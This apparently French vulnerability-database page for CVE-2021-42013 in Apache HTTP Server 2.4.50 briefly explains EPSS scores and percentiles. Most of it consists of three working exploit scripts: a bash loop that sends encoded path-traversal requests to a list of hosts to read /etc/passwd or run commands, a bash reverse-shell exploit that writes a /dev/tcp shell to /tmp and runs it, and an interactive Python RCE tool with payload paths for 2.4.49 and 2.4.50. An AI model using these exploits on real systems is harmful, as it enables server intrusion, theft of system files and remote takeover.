CVE-2021-42013 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

# Exploit: Apache HTTP Server 2.4.50 - Path Traversal & Remote Code Execution (RCE) # Date: 10/05/2021 # Exploit Author: Lucas Souza https://lsass.io # Vendor Homepage: https://apache.org/ # Version: 2.4.50 # Tested on: 2.4.50 # CVE : CVE-2021-42013 # Credits: Ash Daulton and the cPanel Security Team #!/bin/bash if [[ $1 == '' ]]; [[ $2 == '' ]]; then echo Set [TAGET-LIST.TXT] [PATH] [COMMAND] echo ./PoC.sh targets.txt /etc/passwd echo ./PoC.sh targets.txt /bin/sh id exit fi for host in $(cat $1); do echo $host curl -s --path-as-is -d "echo Content-Type: text/plain; echo; $3" "$host/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/$2"; done # PoC.sh targets.txt /etc/passwd # PoC.sh targets.txt /bin/sh whoami

# Exploit: Apache HTTP Server 2.4.50 - Remote Code Execution (RCE) (2) # Credits: Ash Daulton & cPanel Security Team # Date: 24/07/2021 # Exploit Author: TheLastVvV.com # Vendor Homepage: https://apache.org/ # Version: Apache 2.4.50 with CGI enable # Tested on : Debian 5.10.28 # CVE : CVE-2021-42013 #!/bin/bash echo 'PoC CVE-2021-42013 reverse shell Apache 2.4.50 with CGI' if [ $# -eq 0 ] then echo "try: ./$0 http://ip:port LHOST LPORT" exit 1 fi curl "$1/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" -d "echo Content-Type: text/plain; echo; echo '/bin/sh -i >& /dev/tcp/$2/$3 0>&1' > /tmp/revoshell.sh" && curl "$1/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" -d "echo Content-Type: text/plain; echo; bash /tmp/revoshell.sh" #usage chmod -x CVE-2021-42013.sh #./CVE-2021-42013_reverseshell.sh http://ip:port/ LHOST LPORT

# Exploit Title: Apache HTTP Server 2.4.50 - Remote Code Execution (RCE) (3) # Date: 11/11/2021 # Exploit Author: Valentin Lobstein # Vendor Homepage: https://apache.org/ # Version: Apache 2.4.49/2.4.50 (CGI enabled) # Tested on: Debian GNU/Linux # CVE : CVE-2021-41773 / CVE-2021-42013 # Credits : Lucas Schnell #!/usr/bin/env python3 #coding: utf-8 import os import re import sys import time import requests from colorama import Fore,Style header = '''\033[1;91m ▄▄▄ ██▓███ ▄▄▄ ▄████▄ ██░ ██ ▓█████ ██▀███ ▄████▄ ▓█████ ▒████▄ ▓██░ ██▒▒████▄ ▒██▀ ▀█ ▓██░ ██▒▓█ ▀ ▓██ ▒ ██▒▒██▀ ▀█ ▓█ ▀ ▒██ ▀█▄ ▓██░ ██▓▒▒██ ▀█▄ ▒▓█ ▄ ▒██▀▀██░▒███ ▓██ ░▄█ ▒▒▓█ ▄ ▒███ ░██▄▄▄▄██ ▒██▄█▓▒ ▒░██▄▄▄▄██ ▒▓▓▄ ▄██▒░▓█ ░██ ▒▓█ ▄ ▒██▀▀█▄ ▒▓▓▄ ▄██▒▒▓█ ▄ ▓█ ▓██▒▒██▒ ░ ░ ▓█ ▓██▒▒ ▓███▀ ░░▓█▒░██▓░▒████▒ ░██▓ ▒██▒▒ ▓███▀ ░░▒████▒ ▒▒ ▓▒█░▒▓▒░ ░ ░ ▒▒ ▓▒█░░ ░▒ ▒ ░ ▒ ░░▒░▒░░ ▒░ ░ ░ ▒▓ ░▒▓░░ ░▒ ▒ ░░░ ▒░ ░ ▒ ▒▒ ░░▒ ░ ▒ ▒▒ ░ ░ ▒ ▒ ░▒░ ░ ░ ░ ░ ░▒ ░ ▒░ ░ ▒ ░ ░ ░ ░ ▒ ░░ ░ ▒ ░ ░ ░░ ░ ░ ░░ ░ ░ ░ ''' + Style.RESET_ALL if len(sys.argv) < 2 : print( 'Use: python3 file.py ip:port ' ) sys.exit() def end(): print("\t\033[1;91m[!] Bye bye !") time.sleep(0.5) sys.exit(1) def commands(url,command,session): directory = mute_command(url,'pwd') user = mute_command(url,'whoami') hostname = mute_command(url,'hostname') advise = print(Fore.YELLOW + 'Reverse shell is advised (This isn\'t an interactive shell)') command = input(f"{Fore.RED}╭─{Fore.GREEN + user}@{hostname}: {Fore.BLUE + directory}\n{Fore.RED}╰─{Fore.YELLOW}$ {Style.RESET_ALL}") command = f"echo; {command};" req = requests.Request('POST', url=url, data=command) prepare = req.prepare() prepare.url = url response = session.send(prepare, timeout=5) output = response.text print(output) if 'clear' in command: os.system('/usr/bin/clear') print(header) if 'exit' in command: end() def mute_command(url,command): session = requests.Session() req = requests.Request('POST', url=url, data=f"echo; {command}") prepare = req.prepare() prepare.url = url response = session.send(prepare, timeout=5) return response.text.strip() def exploitRCE(payload): s = requests.Session() try: host = sys.argv[1] if 'http' not in host: url = 'http://'+ host + payload else: url = host + payload session = requests.Session() command = "echo; id" req = requests.Request('POST', url=url, data=command) prepare = req.prepare() prepare.url = url response = session.send(prepare, timeout=5) output = response.text if "uid" in output: choice = "Y" print( Fore.GREEN + '\n[!] Target %s is vulnerable !!!' % host) print("[!] Sortie:\n\n" + Fore.YELLOW + output ) choice = input(Fore.CYAN + "[?] Do you want to exploit this RCE ? (Y/n) : ") if choice.lower() in ['','y','yes']: while True: commands(url,command,session) else: end() else : print(Fore.RED + '\nTarget %s isn\'t vulnerable' % host) except KeyboardInterrupt: end() def main(): try: apache2449_payload = '/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash' apache2450_payload = '/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash' payloads = [apache2449_payload,apache2450_payload] choice = len(payloads) + 1 print(header) print("\033[1;37m[0] Apache 2.4.49 RCE\n[1] Apache 2.4.50 RCE") while choice >= len(payloads) and choice >= 0: choice = int(input('[~] Choice : ')) if choice < len(payloads): exploitRCE(payloads[choice]) except KeyboardInterrupt: print("\n\033[1;91m[!] Bye bye !") time.sleep(0.5) sys.exit(1) if __name__ == '__main__': main()